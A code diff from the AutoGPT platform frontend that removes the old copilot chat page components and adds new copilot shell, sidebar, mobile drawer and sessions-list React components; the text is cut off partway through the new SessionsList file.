autogpt_platform/frontend/src/app/(platform)/build/components/NewControlPanel/NewBlockMenu/BlockMenuSearchBar/useBlockMenuSearchBar.ts

@@ -1,4 +1,4 @@
-import debounce from "lodash/debounce";
+import { debounce } from "lodash";
 import { useCallback, useEffect, useRef, useState } from "react";
 import { useBlockMenuStore } from "../../../../stores/blockMenuStore";
 import { getQueryClient } from "@/lib/react-query/queryClient";

autogpt_platform/frontend/src/app/(platform)/build/components/NewControlPanel/NewBlockMenu/HorizontalScroll.tsx

@@ -70,10 +70,10 @@ export const HorizontalScroll: React.FC<HorizontalScrollAreaProps> = ({
           {children}
         </div>
         {canScrollLeft && (
-          <div className="pointer-events-none absolute inset-y-0 left-0 w-8 bg-gradient-to-r from-background via-background/80 to-background/0" />
+          <div className="pointer-events-none absolute inset-y-0 left-0 w-8 bg-gradient-to-r from-white via-white/80 to-white/0" />
         )}
         {canScrollRight && (
-          <div className="pointer-events-none absolute inset-y-0 right-0 w-8 bg-gradient-to-l from-background via-background/80 to-background/0" />
+          <div className="pointer-events-none absolute inset-y-0 right-0 w-8 bg-gradient-to-l from-white via-white/80 to-white/0" />
         )}
         {canScrollLeft && (
           <button

autogpt_platform/frontend/src/app/(platform)/copilot/CopilotPage.tsx

@@ -1,80 +0,0 @@
-"use client";
-
-import { SidebarProvider } from "@/components/ui/sidebar";
-import { ChatContainer } from "./components/ChatContainer/ChatContainer";
-import { ChatSidebar } from "./components/ChatSidebar/ChatSidebar";
-import { MobileDrawer } from "./components/MobileDrawer/MobileDrawer";
-import { MobileHeader } from "./components/MobileHeader/MobileHeader";
-import { ScaleLoader } from "./components/ScaleLoader/ScaleLoader";
-import { useCopilotPage } from "./useCopilotPage";
-
-export function CopilotPage() {
-  const {
-    sessionId,
-    messages,
-    status,
-    error,
-    stop,
-    createSession,
-    onSend,
-    isLoadingSession,
-    isCreatingSession,
-    isUserLoading,
-    isLoggedIn,
-    // Mobile drawer
-    isMobile,
-    isDrawerOpen,
-    sessions,
-    isLoadingSessions,
-    handleOpenDrawer,
-    handleCloseDrawer,
-    handleDrawerOpenChange,
-    handleSelectSession,
-    handleNewChat,
-  } = useCopilotPage();
-
-  if (isUserLoading || !isLoggedIn) {
-    return (
-      <div className="fixed inset-0 z-50 flex items-center justify-center bg-[#f8f8f9]">
-        <ScaleLoader className="text-neutral-400" />
-      </div>
-    );
-  }
-
-  return (
-    <SidebarProvider
-      defaultOpen={true}
-      className="h-[calc(100vh-72px)] min-h-0"
-    >
-      {!isMobile && <ChatSidebar />}
-      <div className="relative flex h-full w-full flex-col overflow-hidden bg-[#f8f8f9] px-0">
-        {isMobile && <MobileHeader onOpenDrawer={handleOpenDrawer} />}
-        <div className="flex-1 overflow-hidden">
-          <ChatContainer
-            messages={messages}
-            status={status}
-            error={error}
-            sessionId={sessionId}
-            isLoadingSession={isLoadingSession}
-            isCreatingSession={isCreatingSession}
-            onCreateSession={createSession}
-            onSend={onSend}
-            onStop={stop}
-          />
-        </div>
-      </div>
-      {isMobile && (
-        <MobileDrawer
-          isOpen={isDrawerOpen}
-          sessions={sessions}
-          currentSessionId={sessionId}
-          isLoading={isLoadingSessions}
-          onSelectSession={handleSelectSession}
-          onNewChat={handleNewChat}
-          onClose={handleCloseDrawer}
-          onOpenChange={handleDrawerOpenChange}
-        />
-      )}
-    </SidebarProvider>
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatContainer/ChatContainer.tsx

@@ -1,74 +0,0 @@
-"use client";
-import { ChatInput } from "@/app/(platform)/copilot/components/ChatInput/ChatInput";
-import { UIDataTypes, UIMessage, UITools } from "ai";
-import { LayoutGroup, motion } from "framer-motion";
-import { ChatMessagesContainer } from "../ChatMessagesContainer/ChatMessagesContainer";
-import { CopilotChatActionsProvider } from "../CopilotChatActionsProvider/CopilotChatActionsProvider";
-import { EmptySession } from "../EmptySession/EmptySession";
-
-export interface ChatContainerProps {
-  messages: UIMessage<unknown, UIDataTypes, UITools>[];
-  status: string;
-  error: Error | undefined;
-  sessionId: string | null;
-  isLoadingSession: boolean;
-  isCreatingSession: boolean;
-  onCreateSession: () => void | Promise<string>;
-  onSend: (message: string) => void | Promise<void>;
-  onStop: () => void;
-}
-export const ChatContainer = ({
-  messages,
-  status,
-  error,
-  sessionId,
-  isLoadingSession,
-  isCreatingSession,
-  onCreateSession,
-  onSend,
-  onStop,
-}: ChatContainerProps) => {
-  const inputLayoutId = "copilot-2-chat-input";
-
-  return (
-    <CopilotChatActionsProvider onSend={onSend}>
-      <LayoutGroup id="copilot-2-chat-layout">
-        <div className="flex h-full min-h-0 w-full flex-col bg-[#f8f8f9] px-2 lg:px-0">
-          {sessionId ? (
-            <div className="mx-auto flex h-full min-h-0 w-full max-w-3xl flex-col">
-              <ChatMessagesContainer
-                messages={messages}
-                status={status}
-                error={error}
-                isLoading={isLoadingSession}
-              />
-              <motion.div
-                initial={{ opacity: 0 }}
-                animate={{ opacity: 1 }}
-                transition={{ duration: 0.3 }}
-                className="relative px-3 pb-2 pt-2"
-              >
-                <div className="pointer-events-none absolute left-0 right-0 top-[-18px] z-10 h-6 bg-gradient-to-b from-transparent to-[#f8f8f9]" />
-                <ChatInput
-                  inputId="chat-input-session"
-                  onSend={onSend}
-                  disabled={status === "streaming"}
-                  isStreaming={status === "streaming"}
-                  onStop={onStop}
-                  placeholder="What else can I help with?"
-                />
-              </motion.div>
-            </div>
-          ) : (
-            <EmptySession
-              inputLayoutId={inputLayoutId}
-              isCreatingSession={isCreatingSession}
-              onCreateSession={onCreateSession}
-              onSend={onSend}
-            />
-          )}
-        </div>
-      </LayoutGroup>
-    </CopilotChatActionsProvider>
-  );
-};

autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/ChatMessagesContainer.tsx

@@ -1,305 +0,0 @@
-import { getGetWorkspaceDownloadFileByIdUrl } from "@/app/api/__generated__/endpoints/workspace/workspace";
-import {
-  Conversation,
-  ConversationContent,
-  ConversationScrollButton,
-} from "@/components/ai-elements/conversation";
-import {
-  Message,
-  MessageContent,
-  MessageResponse,
-} from "@/components/ai-elements/message";
-import { LoadingSpinner } from "@/components/atoms/LoadingSpinner/LoadingSpinner";
-import { toast } from "@/components/molecules/Toast/use-toast";
-import { ToolUIPart, UIDataTypes, UIMessage, UITools } from "ai";
-import { useEffect, useRef, useState } from "react";
-import { CreateAgentTool } from "../../tools/CreateAgent/CreateAgent";
-import { EditAgentTool } from "../../tools/EditAgent/EditAgent";
-import { FindAgentsTool } from "../../tools/FindAgents/FindAgents";
-import { FindBlocksTool } from "../../tools/FindBlocks/FindBlocks";
-import { RunAgentTool } from "../../tools/RunAgent/RunAgent";
-import { RunBlockTool } from "../../tools/RunBlock/RunBlock";
-import { SearchDocsTool } from "../../tools/SearchDocs/SearchDocs";
-import { GenericTool } from "../../tools/GenericTool/GenericTool";
-import { ViewAgentOutputTool } from "../../tools/ViewAgentOutput/ViewAgentOutput";
-
-// ---------------------------------------------------------------------------
-// Workspace media support
-// ---------------------------------------------------------------------------
-
-/**
- * Resolve workspace:// URLs in markdown text to proxy download URLs.
- * Detects MIME type from the hash fragment (e.g. workspace://id#video/mp4)
- * and prefixes the alt text with "video:" so the custom img component can
- * render a <video> element instead.
- */
-function resolveWorkspaceUrls(text: string): string {
-  return text.replace(
-    /!\[([^\]]*)\]\(workspace:\/\/([^)#\s]+)(?:#([^)\s]*))?\)/g,
-    (_match, alt: string, fileId: string, mimeHint?: string) => {
-      const apiPath = getGetWorkspaceDownloadFileByIdUrl(fileId);
-      const url = `/api/proxy${apiPath}`;
-      if (mimeHint?.startsWith("video/")) {
-        return `![video:${alt || "Video"}](${url})`;
-      }
-      return `![${alt || "Image"}](${url})`;
-    },
-  );
-}
-
-/**
- * Custom img component for Streamdown that renders <video> elements
- * for workspace video files (detected via "video:" alt-text prefix).
- * Falls back to <video> when an <img> fails to load for workspace files.
- */
-function WorkspaceMediaImage(props: React.JSX.IntrinsicElements["img"]) {
-  const { src, alt, ...rest } = props;
-  const [imgFailed, setImgFailed] = useState(false);
-  const isWorkspace = src?.includes("/workspace/files/") ?? false;
-
-  if (!src) return null;
-
-  if (alt?.startsWith("video:") || (imgFailed && isWorkspace)) {
-    return (
-      <span className="my-2 inline-block">
-        <video
-          controls
-          className="h-auto max-w-full rounded-md border border-zinc-200"
-          preload="metadata"
-        >
-          <source src={src} />
-          Your browser does not support the video tag.
-        </video>
-      </span>
-    );
-  }
-
-  return (
-    // eslint-disable-next-line @next/next/no-img-element
-    <img
-      src={src}
-      alt={alt || "Image"}
-      className="h-auto max-w-full rounded-md border border-zinc-200"
-      loading="lazy"
-      onError={() => {
-        if (isWorkspace) setImgFailed(true);
-      }}
-      {...rest}
-    />
-  );
-}
-
-/** Stable components override for Streamdown (avoids re-creating on every render). */
-const STREAMDOWN_COMPONENTS = { img: WorkspaceMediaImage };
-
-const THINKING_PHRASES = [
-  "Thinking...",
-  "Considering this...",
-  "Working through this...",
-  "Analyzing your request...",
-  "Reasoning...",
-  "Looking into it...",
-  "Processing your request...",
-  "Mulling this over...",
-  "Piecing it together...",
-  "On it...",
-];
-
-function getRandomPhrase() {
-  return THINKING_PHRASES[Math.floor(Math.random() * THINKING_PHRASES.length)];
-}
-
-interface ChatMessagesContainerProps {
-  messages: UIMessage<unknown, UIDataTypes, UITools>[];
-  status: string;
-  error: Error | undefined;
-  isLoading: boolean;
-}
-
-export const ChatMessagesContainer = ({
-  messages,
-  status,
-  error,
-  isLoading,
-}: ChatMessagesContainerProps) => {
-  const [thinkingPhrase, setThinkingPhrase] = useState(getRandomPhrase);
-  const lastToastTimeRef = useRef(0);
-
-  useEffect(() => {
-    if (status === "submitted") {
-      setThinkingPhrase(getRandomPhrase());
-    }
-  }, [status]);
-
-  // Show a toast when a new error occurs, debounced to avoid spam
-  useEffect(() => {
-    if (!error) return;
-    const now = Date.now();
-    if (now - lastToastTimeRef.current < 3_000) return;
-    lastToastTimeRef.current = now;
-    toast({
-      variant: "destructive",
-      title: "Something went wrong",
-      description:
-        "The assistant encountered an error. Please try sending your message again.",
-    });
-  }, [error]);
-
-  const lastMessage = messages[messages.length - 1];
-  const lastAssistantHasVisibleContent =
-    lastMessage?.role === "assistant" &&
-    lastMessage.parts.some(
-      (p) =>
-        (p.type === "text" && p.text.trim().length > 0) ||
-        p.type.startsWith("tool-"),
-    );
-
-  const showThinking =
-    status === "submitted" ||
-    (status === "streaming" && !lastAssistantHasVisibleContent);
-
-  return (
-    <Conversation className="min-h-0 flex-1">
-      <ConversationContent className="flex min-h-screen flex-1 flex-col gap-6 px-3 py-6">
-        {isLoading && messages.length === 0 && (
-          <div className="flex min-h-full flex-1 items-center justify-center">
-            <LoadingSpinner className="text-neutral-600" />
-          </div>
-        )}
-        {messages.map((message, messageIndex) => {
-          const isLastAssistant =
-            messageIndex === messages.length - 1 &&
-            message.role === "assistant";
-          const messageHasVisibleContent = message.parts.some(
-            (p) =>
-              (p.type === "text" && p.text.trim().length > 0) ||
-              p.type.startsWith("tool-"),
-          );
-
-          return (
-            <Message from={message.role} key={message.id}>
-              <MessageContent
-                className={
-                  "text-[1rem] leading-relaxed " +
-                  "group-[.is-user]:rounded-xl group-[.is-user]:bg-purple-100 group-[.is-user]:px-3 group-[.is-user]:py-2.5 group-[.is-user]:text-slate-900 group-[.is-user]:[border-bottom-right-radius:0] " +
-                  "group-[.is-assistant]:bg-transparent group-[.is-assistant]:text-slate-900"
-                }
-              >
-                {message.parts.map((part, i) => {
-                  switch (part.type) {
-                    case "text":
-                      return (
-                        <MessageResponse
-                          key={`${message.id}-${i}`}
-                          components={STREAMDOWN_COMPONENTS}
-                        >
-                          {resolveWorkspaceUrls(part.text)}
-                        </MessageResponse>
-                      );
-                    case "tool-find_block":
-                      return (
-                        <FindBlocksTool
-                          key={`${message.id}-${i}`}
-                          part={part as ToolUIPart}
-                        />
-                      );
-                    case "tool-find_agent":
-                    case "tool-find_library_agent":
-                      return (
-                        <FindAgentsTool
-                          key={`${message.id}-${i}`}
-                          part={part as ToolUIPart}
-                        />
-                      );
-                    case "tool-search_docs":
-                    case "tool-get_doc_page":
-                      return (
-                        <SearchDocsTool
-                          key={`${message.id}-${i}`}
-                          part={part as ToolUIPart}
-                        />
-                      );
-                    case "tool-run_block":
-                      return (
-                        <RunBlockTool
-                          key={`${message.id}-${i}`}
-                          part={part as ToolUIPart}
-                        />
-                      );
-                    case "tool-run_agent":
-                    case "tool-schedule_agent":
-                      return (
-                        <RunAgentTool
-                          key={`${message.id}-${i}`}
-                          part={part as ToolUIPart}
-                        />
-                      );
-                    case "tool-create_agent":
-                      return (
-                        <CreateAgentTool
-                          key={`${message.id}-${i}`}
-                          part={part as ToolUIPart}
-                        />
-                      );
-                    case "tool-edit_agent":
-                      return (
-                        <EditAgentTool
-                          key={`${message.id}-${i}`}
-                          part={part as ToolUIPart}
-                        />
-                      );
-                    case "tool-view_agent_output":
-                      return (
-                        <ViewAgentOutputTool
-                          key={`${message.id}-${i}`}
-                          part={part as ToolUIPart}
-                        />
-                      );
-                    default:
-                      // Render a generic tool indicator for SDK built-in
-                      // tools (Read, Glob, Grep, etc.) or any unrecognized tool
-                      if (part.type.startsWith("tool-")) {
-                        return (
-                          <GenericTool
-                            key={`${message.id}-${i}`}
-                            part={part as ToolUIPart}
-                          />
-                        );
-                      }
-                      return null;
-                  }
-                })}
-                {isLastAssistant &&
-                  !messageHasVisibleContent &&
-                  showThinking && (
-                    <span className="inline-block animate-shimmer bg-gradient-to-r from-neutral-400 via-neutral-600 to-neutral-400 bg-[length:200%_100%] bg-clip-text text-transparent">
-                      {thinkingPhrase}
-                    </span>
-                  )}
-              </MessageContent>
-            </Message>
-          );
-        })}
-        {showThinking && lastMessage?.role !== "assistant" && (
-          <Message from="assistant">
-            <MessageContent className="text-[1rem] leading-relaxed">
-              <span className="inline-block animate-shimmer bg-gradient-to-r from-neutral-400 via-neutral-600 to-neutral-400 bg-[length:200%_100%] bg-clip-text text-transparent">
-                {thinkingPhrase}
-              </span>
-            </MessageContent>
-          </Message>
-        )}
-        {error && (
-          <div className="rounded-lg bg-red-50 p-4 text-sm text-red-700">
-            <p className="font-medium">Something went wrong</p>
-            <p className="mt-1 text-red-600">
-              The assistant encountered an error. Please try sending your
-              message again.
-            </p>
-          </div>
-        )}
-      </ConversationContent>
-      <ConversationScrollButton />
-    </Conversation>
-  );
-};

autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatSidebar/ChatSidebar.tsx

@@ -1,188 +0,0 @@
-"use client";
-import { useGetV2ListSessions } from "@/app/api/__generated__/endpoints/chat/chat";
-import { Button } from "@/components/atoms/Button/Button";
-import { LoadingSpinner } from "@/components/atoms/LoadingSpinner/LoadingSpinner";
-import { Text } from "@/components/atoms/Text/Text";
-import {
-  Sidebar,
-  SidebarContent,
-  SidebarFooter,
-  SidebarHeader,
-  SidebarTrigger,
-  useSidebar,
-} from "@/components/ui/sidebar";
-import { cn } from "@/lib/utils";
-import { PlusCircleIcon, PlusIcon } from "@phosphor-icons/react";
-import { motion } from "framer-motion";
-import { parseAsString, useQueryState } from "nuqs";
-
-export function ChatSidebar() {
-  const { state } = useSidebar();
-  const isCollapsed = state === "collapsed";
-  const [sessionId, setSessionId] = useQueryState("sessionId", parseAsString);
-
-  const { data: sessionsResponse, isLoading: isLoadingSessions } =
-    useGetV2ListSessions({ limit: 50 });
-
-  const sessions =
-    sessionsResponse?.status === 200 ? sessionsResponse.data.sessions : [];
-
-  function handleNewChat() {
-    setSessionId(null);
-  }
-
-  function handleSelectSession(id: string) {
-    setSessionId(id);
-  }
-
-  function formatDate(dateString: string) {
-    const date = new Date(dateString);
-    const now = new Date();
-    const diffMs = now.getTime() - date.getTime();
-    const diffDays = Math.floor(diffMs / (1000 * 60 * 60 * 24));
-
-    if (diffDays === 0) return "Today";
-    if (diffDays === 1) return "Yesterday";
-    if (diffDays < 7) return `${diffDays} days ago`;
-
-    const day = date.getDate();
-    const ordinal =
-      day % 10 === 1 && day !== 11
-        ? "st"
-        : day % 10 === 2 && day !== 12
-          ? "nd"
-          : day % 10 === 3 && day !== 13
-            ? "rd"
-            : "th";
-    const month = date.toLocaleDateString("en-US", { month: "short" });
-    const year = date.getFullYear();
-
-    return `${day}${ordinal} ${month} ${year}`;
-  }
-
-  return (
-    <Sidebar
-      variant="inset"
-      collapsible="icon"
-      className="!top-[50px] !h-[calc(100vh-50px)] border-r border-zinc-100 px-0"
-    >
-      {isCollapsed && (
-        <SidebarHeader
-          className={cn(
-            "flex",
-            isCollapsed
-              ? "flex-row items-center justify-between gap-y-4 md:flex-col md:items-start md:justify-start"
-              : "flex-row items-center justify-between",
-          )}
-        >
-          <motion.div
-            key={isCollapsed ? "header-collapsed" : "header-expanded"}
-            className="flex flex-col items-center gap-3 pt-4"
-            initial={{ opacity: 0, filter: "blur(3px)" }}
-            animate={{ opacity: 1, filter: "blur(0px)" }}
-            transition={{ type: "spring", bounce: 0.2 }}
-          >
-            <div className="flex flex-col items-center gap-2">
-              <SidebarTrigger />
-              <Button
-                variant="ghost"
-                onClick={handleNewChat}
-                style={{ minWidth: "auto", width: "auto" }}
-              >
-                <PlusCircleIcon className="!size-5" />
-                <span className="sr-only">New Chat</span>
-              </Button>
-            </div>
-          </motion.div>
-        </SidebarHeader>
-      )}
-      <SidebarContent className="gap-4 overflow-y-auto px-4 py-4 [-ms-overflow-style:none] [scrollbar-width:none] [&::-webkit-scrollbar]:hidden">
-        {!isCollapsed && (
-          <motion.div
-            initial={{ opacity: 0 }}
-            animate={{ opacity: 1 }}
-            transition={{ duration: 0.2, delay: 0.1 }}
-            className="flex items-center justify-between px-3"
-          >
-            <Text variant="h3" size="body-medium">
-              Your chats
-            </Text>
-            <div className="relative left-6">
-              <SidebarTrigger />
-            </div>
-          </motion.div>
-        )}
-
-        {!isCollapsed && (
-          <motion.div
-            initial={{ opacity: 0 }}
-            animate={{ opacity: 1 }}
-            transition={{ duration: 0.2, delay: 0.15 }}
-            className="mt-4 flex flex-col gap-1"
-          >
-            {isLoadingSessions ? (
-              <div className="flex min-h-[30rem] items-center justify-center py-4">
-                <LoadingSpinner size="small" className="text-neutral-600" />
-              </div>
-            ) : sessions.length === 0 ? (
-              <p className="py-4 text-center text-sm text-neutral-500">
-                No conversations yet
-              </p>
-            ) : (
-              sessions.map((session) => (
-                <button
-                  key={session.id}
-                  onClick={() => handleSelectSession(session.id)}
-                  className={cn(
-                    "w-full rounded-lg px-3 py-2.5 text-left transition-colors",
-                    session.id === sessionId
-                      ? "bg-zinc-100"
-                      : "hover:bg-zinc-50",
-                  )}
-                >
-                  <div className="flex min-w-0 max-w-full flex-col overflow-hidden">
-                    <div className="min-w-0 max-w-full">
-                      <Text
-                        variant="body"
-                        className={cn(
-                          "truncate font-normal",
-                          session.id === sessionId
-                            ? "text-zinc-600"
-                            : "text-zinc-800",
-                        )}
-                      >
-                        {session.title || `Untitled chat`}
-                      </Text>
-                    </div>
-                    <Text variant="small" className="text-neutral-400">
-                      {formatDate(session.updated_at)}
-                    </Text>
-                  </div>
-                </button>
-              ))
-            )}
-          </motion.div>
-        )}
-      </SidebarContent>
-      {!isCollapsed && sessionId && (
-        <SidebarFooter className="shrink-0 bg-zinc-50 p-3 pb-1 shadow-[0_-4px_6px_-1px_rgba(0,0,0,0.05)]">
-          <motion.div
-            initial={{ opacity: 0 }}
-            animate={{ opacity: 1 }}
-            transition={{ duration: 0.2, delay: 0.2 }}
-          >
-            <Button
-              variant="primary"
-              size="small"
-              onClick={handleNewChat}
-              className="w-full"
-              leftIcon={<PlusIcon className="h-4 w-4" weight="bold" />}
-            >
-              New Chat
-            </Button>
-          </motion.div>
-        </SidebarFooter>
-      )}
-    </Sidebar>
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotChatActionsProvider/CopilotChatActionsProvider.tsx

@@ -1,16 +0,0 @@
-"use client";
-
-import { CopilotChatActionsContext } from "./useCopilotChatActions";
-
-interface Props {
-  onSend: (message: string) => void | Promise<void>;
-  children: React.ReactNode;
-}
-
-export function CopilotChatActionsProvider({ onSend, children }: Props) {
-  return (
-    <CopilotChatActionsContext.Provider value={{ onSend }}>
-      {children}
-    </CopilotChatActionsContext.Provider>
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotChatActionsProvider/useCopilotChatActions.ts

@@ -1,23 +0,0 @@
-"use client";
-
-import { createContext, useContext } from "react";
-
-interface CopilotChatActions {
-  onSend: (message: string) => void | Promise<void>;
-}
-
-const CopilotChatActionsContext = createContext<CopilotChatActions | null>(
-  null,
-);
-
-export function useCopilotChatActions(): CopilotChatActions {
-  const ctx = useContext(CopilotChatActionsContext);
-  if (!ctx) {
-    throw new Error(
-      "useCopilotChatActions must be used within CopilotChatActionsProvider",
-    );
-  }
-  return ctx;
-}
-
-export { CopilotChatActionsContext };

autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotShell/CopilotShell.tsx

@@ -0,0 +1,99 @@
+"use client";
+
+import { ChatLoader } from "@/components/contextual/Chat/components/ChatLoader/ChatLoader";
+import { Text } from "@/components/atoms/Text/Text";
+import { NAVBAR_HEIGHT_PX } from "@/lib/constants";
+import type { ReactNode } from "react";
+import { DesktopSidebar } from "./components/DesktopSidebar/DesktopSidebar";
+import { MobileDrawer } from "./components/MobileDrawer/MobileDrawer";
+import { MobileHeader } from "./components/MobileHeader/MobileHeader";
+import { useCopilotShell } from "./useCopilotShell";
+
+interface Props {
+  children: ReactNode;
+}
+
+export function CopilotShell({ children }: Props) {
+  const {
+    isMobile,
+    isDrawerOpen,
+    isLoading,
+    isCreatingSession,
+    isLoggedIn,
+    hasActiveSession,
+    sessions,
+    currentSessionId,
+    handleOpenDrawer,
+    handleCloseDrawer,
+    handleDrawerOpenChange,
+    handleNewChatClick,
+    handleSessionClick,
+    hasNextPage,
+    isFetchingNextPage,
+    fetchNextPage,
+  } = useCopilotShell();
+
+  if (!isLoggedIn) {
+    return (
+      <div className="flex h-full items-center justify-center">
+        <ChatLoader />
+      </div>
+    );
+  }
+
+  return (
+    <div
+      className="flex overflow-hidden bg-[#EFEFF0]"
+      style={{ height: `calc(100vh - ${NAVBAR_HEIGHT_PX}px)` }}
+    >
+      {!isMobile && (
+        <DesktopSidebar
+          sessions={sessions}
+          currentSessionId={currentSessionId}
+          isLoading={isLoading}
+          hasNextPage={hasNextPage}
+          isFetchingNextPage={isFetchingNextPage}
+          onSelectSession={handleSessionClick}
+          onFetchNextPage={fetchNextPage}
+          onNewChat={handleNewChatClick}
+          hasActiveSession={Boolean(hasActiveSession)}
+        />
+      )}
+
+      <div className="relative flex min-h-0 flex-1 flex-col">
+        {isMobile && <MobileHeader onOpenDrawer={handleOpenDrawer} />}
+        <div className="flex min-h-0 flex-1 flex-col">
+          {isCreatingSession ? (
+            <div className="flex h-full flex-1 flex-col items-center justify-center bg-[#f8f8f9]">
+              <div className="flex flex-col items-center gap-4">
+                <ChatLoader />
+                <Text variant="body" className="text-zinc-500">
+                  Creating your chat...
+                </Text>
+              </div>
+            </div>
+          ) : (
+            children
+          )}
+        </div>
+      </div>
+
+      {isMobile && (
+        <MobileDrawer
+          isOpen={isDrawerOpen}
+          sessions={sessions}
+          currentSessionId={currentSessionId}
+          isLoading={isLoading}
+          hasNextPage={hasNextPage}
+          isFetchingNextPage={isFetchingNextPage}
+          onSelectSession={handleSessionClick}
+          onFetchNextPage={fetchNextPage}
+          onNewChat={handleNewChatClick}
+          onClose={handleCloseDrawer}
+          onOpenChange={handleDrawerOpenChange}
+          hasActiveSession={Boolean(hasActiveSession)}
+        />
+      )}
+    </div>
+  );
+}

autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotShell/components/DesktopSidebar/DesktopSidebar.tsx

@@ -0,0 +1,70 @@
+import type { SessionSummaryResponse } from "@/app/api/__generated__/models/sessionSummaryResponse";
+import { Button } from "@/components/atoms/Button/Button";
+import { Text } from "@/components/atoms/Text/Text";
+import { scrollbarStyles } from "@/components/styles/scrollbars";
+import { cn } from "@/lib/utils";
+import { Plus } from "@phosphor-icons/react";
+import { SessionsList } from "../SessionsList/SessionsList";
+
+interface Props {
+  sessions: SessionSummaryResponse[];
+  currentSessionId: string | null;
+  isLoading: boolean;
+  hasNextPage: boolean;
+  isFetchingNextPage: boolean;
+  onSelectSession: (sessionId: string) => void;
+  onFetchNextPage: () => void;
+  onNewChat: () => void;
+  hasActiveSession: boolean;
+}
+
+export function DesktopSidebar({
+  sessions,
+  currentSessionId,
+  isLoading,
+  hasNextPage,
+  isFetchingNextPage,
+  onSelectSession,
+  onFetchNextPage,
+  onNewChat,
+  hasActiveSession,
+}: Props) {
+  return (
+    <aside className="flex h-full w-80 flex-col border-r border-zinc-100 bg-zinc-50">
+      <div className="shrink-0 px-6 py-4">
+        <Text variant="h3" size="body-medium">
+          Your chats
+        </Text>
+      </div>
+      <div
+        className={cn(
+          "flex min-h-0 flex-1 flex-col overflow-y-auto px-3 py-3",
+          scrollbarStyles,
+        )}
+      >
+        <SessionsList
+          sessions={sessions}
+          currentSessionId={currentSessionId}
+          isLoading={isLoading}
+          hasNextPage={hasNextPage}
+          isFetchingNextPage={isFetchingNextPage}
+          onSelectSession={onSelectSession}
+          onFetchNextPage={onFetchNextPage}
+        />
+      </div>
+      {hasActiveSession && (
+        <div className="shrink-0 bg-zinc-50 p-3 shadow-[0_-4px_6px_-1px_rgba(0,0,0,0.05)]">
+          <Button
+            variant="primary"
+            size="small"
+            onClick={onNewChat}
+            className="w-full"
+            leftIcon={<Plus width="1rem" height="1rem" />}
+          >
+            New Chat
+          </Button>
+        </div>
+      )}
+    </aside>
+  );
+}

autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotShell/components/MobileDrawer/MobileDrawer.tsx

@@ -0,0 +1,91 @@
+import type { SessionSummaryResponse } from "@/app/api/__generated__/models/sessionSummaryResponse";
+import { Button } from "@/components/atoms/Button/Button";
+import { scrollbarStyles } from "@/components/styles/scrollbars";
+import { cn } from "@/lib/utils";
+import { PlusIcon, X } from "@phosphor-icons/react";
+import { Drawer } from "vaul";
+import { SessionsList } from "../SessionsList/SessionsList";
+
+interface Props {
+  isOpen: boolean;
+  sessions: SessionSummaryResponse[];
+  currentSessionId: string | null;
+  isLoading: boolean;
+  hasNextPage: boolean;
+  isFetchingNextPage: boolean;
+  onSelectSession: (sessionId: string) => void;
+  onFetchNextPage: () => void;
+  onNewChat: () => void;
+  onClose: () => void;
+  onOpenChange: (open: boolean) => void;
+  hasActiveSession: boolean;
+}
+
+export function MobileDrawer({
+  isOpen,
+  sessions,
+  currentSessionId,
+  isLoading,
+  hasNextPage,
+  isFetchingNextPage,
+  onSelectSession,
+  onFetchNextPage,
+  onNewChat,
+  onClose,
+  onOpenChange,
+  hasActiveSession,
+}: Props) {
+  return (
+    <Drawer.Root open={isOpen} onOpenChange={onOpenChange} direction="left">
+      <Drawer.Portal>
+        <Drawer.Overlay className="fixed inset-0 z-[60] bg-black/10 backdrop-blur-sm" />
+        <Drawer.Content className="fixed left-0 top-0 z-[70] flex h-full w-80 flex-col border-r border-zinc-200 bg-zinc-50">
+          <div className="shrink-0 border-b border-zinc-200 p-4">
+            <div className="flex items-center justify-between">
+              <Drawer.Title className="text-lg font-semibold text-zinc-800">
+                Your chats
+              </Drawer.Title>
+              <Button
+                variant="icon"
+                size="icon"
+                aria-label="Close sessions"
+                onClick={onClose}
+              >
+                <X width="1.25rem" height="1.25rem" />
+              </Button>
+            </div>
+          </div>
+          <div
+            className={cn(
+              "flex min-h-0 flex-1 flex-col overflow-y-auto px-3 py-3",
+              scrollbarStyles,
+            )}
+          >
+            <SessionsList
+              sessions={sessions}
+              currentSessionId={currentSessionId}
+              isLoading={isLoading}
+              hasNextPage={hasNextPage}
+              isFetchingNextPage={isFetchingNextPage}
+              onSelectSession={onSelectSession}
+              onFetchNextPage={onFetchNextPage}
+            />
+          </div>
+          {hasActiveSession && (
+            <div className="shrink-0 bg-white p-3 shadow-[0_-4px_6px_-1px_rgba(0,0,0,0.05)]">
+              <Button
+                variant="primary"
+                size="small"
+                onClick={onNewChat}
+                className="w-full"
+                leftIcon={<PlusIcon width="1rem" height="1rem" />}
+              >
+                New Chat
+              </Button>
+            </div>
+          )}
+        </Drawer.Content>
+      </Drawer.Portal>
+    </Drawer.Root>
+  );
+}

autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotShell/components/MobileDrawer/useMobileDrawer.ts

@@ -0,0 +1,24 @@
+import { useState } from "react";
+
+export function useMobileDrawer() {
+  const [isDrawerOpen, setIsDrawerOpen] = useState(false);
+
+  const handleOpenDrawer = () => {
+    setIsDrawerOpen(true);
+  };
+
+  const handleCloseDrawer = () => {
+    setIsDrawerOpen(false);
+  };
+
+  const handleDrawerOpenChange = (open: boolean) => {
+    setIsDrawerOpen(open);
+  };
+
+  return {
+    isDrawerOpen,
+    handleOpenDrawer,
+    handleCloseDrawer,
+    handleDrawerOpenChange,
+  };
+}

autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotShell/components/SessionsList/SessionsList.tsx

@@ -0,0 +1,80 @@
+import type { SessionSummaryResponse } from "@/app/api/__generated__/models/sessionSummaryResponse";
+import { Skeleton } from "@/components/__legacy__/ui/skeleton";
+import { Text } from "@/components/atoms/Text/Text";
+import { InfiniteList } from "@/components/molecules/InfiniteList/InfiniteList";
+import { cn } from "@/lib/utils";
+import { getSessionTitle } from "../../helpers";
+
+interface Props {
+  sessions: SessionSummaryResponse[];
+  currentSessionId: string | null;
+  isLoading: boolean;
+  hasNextPage: boolean;
+  isFetchingNextPage: boolean;
+  onSelectSession: (sessionId: string) => void;
